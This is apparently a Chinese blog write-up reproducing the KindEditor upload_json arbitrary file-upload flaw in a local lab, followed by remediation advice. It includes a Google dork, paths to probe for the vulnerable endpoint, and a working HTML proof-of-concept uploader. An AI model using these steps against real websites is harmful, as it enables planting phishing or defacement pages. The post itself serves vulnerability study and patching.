KindEditor文件上传漏洞复现

一、漏洞简介

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。

KindEditor使用JavaScript编写,可以无缝的于Java、.NET、PHP、ASP等程序接合。 KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用,2006年7月首次发布2.0以来,KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率,目前在国内已经成为最受欢迎的编辑器之一。

​ 2019年2月份,安全监测平台和应急响应中心监测发现近百起党政机关网站被植入色情广告页面,分析发现被植入色情广告页面的网站都使用了KindEditor编辑器组件。本次安全事件主要由upload_json.*上传功能文件允许被直接调用从而实现上传htm,html,txt等文件到服务器,在实际已监测到的安全事件案例中,上传的htm,html文件中存在包含跳转到违法色情网站的代码,攻击者主要针对党政机关网站实施批量上传,建议使用该组件的网站系统尽快做好安全加固配置,防止被恶意攻击。

​ 事实上,早在2017年GitHub上已有报告了KindEditor编辑器存在文件上传漏洞的分析,可参考:https://github.com/kindsoft/kindeditor/issues/249。

二、漏洞描述

​ 漏洞存在于小于等于kindeditor4.1.5 编辑器里,你能上传.txt和 .html文件,支持php/asp/jsp/asp.net。 /php/upload_json.php文件不会清理用户输入或者检查用户是否将任意文件上传到系统。通过构造一个恶意的 html文件来实现跳转,钓鱼等,恶意攻击者可实现。

三、漏洞版本

​ 影响版本如下:

​ kindeditor版本<=4.1.11

四、漏洞复现

(1)准备工作

​ 准备虚拟机环境为Windows7 64位。然后官方下载

​ kindeditor4.1.11:http://kindeditor.net/down.php

​ phpstudy2018:http://phpstudy.php.cn/

​ 然后安装phpstudy,解压缩kindeditor。

​ 在phpstudy的安装目录下:C:\phpStudy\PHPTutorial\WWW(网站目录),拷入kindeditor。

image

(2)测试访问

​ 访问测试的地址,出现如下界面说明正常,可以进行编辑和上传。

image

(3)漏洞发现

如果是攻击者,常见攻击方式如下:

​ 1.在谷歌首先搜索疑似漏洞inurl:kindeditor

​ 2.然后查看版本信息:http://localhost/kindeditor/kindeditor.js,虚拟机显示如下,版本为 4.1.10.,一般存在漏洞。

image

3.进行尝试如下路径是否存在有必要验证文件 upload_json.*,常见判断路径如下:

​ kindeditor/asp/upload_json.asp?dir=file

​ kindeditor/asp.net/upload_json.ashx?dir=file

​ kindeditor/jsp/upload_json.jsp?dir=file

​ kindeditor/php/upload_json.php?dir=file

​ 也可以提前判断系统的语言,这里我们采用的是php,访问http://localhost/kindeditor/php/upload_json.php ,返回状态码200,显示存在。否则显示404,not found 。

image

4.构造POC或者CURL提交文件。这次采用构造 POC,url替换为攻击url。

<html>
<head>

    <title>Uploader</title>

    <script src="http://localhost/kindeditor/kindeditor.js"></script>

    <script>

        KindEditor.ready(function (K) {

            var uploadbutton = K.uploadbutton({

                button: K('#uploadButton')[0],
                fieldName: 'imgFile',
                url: 'http://localhost/kindeditor/php/upload_json.php?dir=file',
                afterUpload: function (data) {
                    if (data.error === 0) {
                        var url = K.formatUrl(data.url, 'absolute');
                        K('#url').val(url);
                    }
                },
            });

            uploadbutton.fileBox.change(function (e) {

                uploadbutton.submit();

            });

        });

    </script>
</head>
<body>

<div class="upload">

    <input class="ke-input-text" type="text" id="url" value="" readonly=“readonly”/>

    <input type="button" id="uploadButton" value="Upload"/>

</div>

</body>

</html>

访问html文件如下,上传test.txt,返回访问路径。

image

查看服务器,文件上传成功

image

五、 修复建议

​ 本次漏洞级别为高危,近期针对该漏洞的攻击活动正变得活跃,攻击对象一般是政府单位和公众企业,攻击者借此漏洞上传菠菜和色情链接,建议尽快做好安全加固配置。安全运营方面建议:直接删除upload_json.和file_manager_json.即可。安全开发生命周期(SDL)建议:KindEditor编辑器早在2017年就已被披露该漏洞详情,建议网站建设单位经常关注其系统使用的框架、依赖库、编辑器等组件的官方安全更新公告,采用最新版本的KindEditor。

posted @ 2021-06-18 13:50  TaoLeonis  阅读(2695)  评论(0编辑  收藏  举报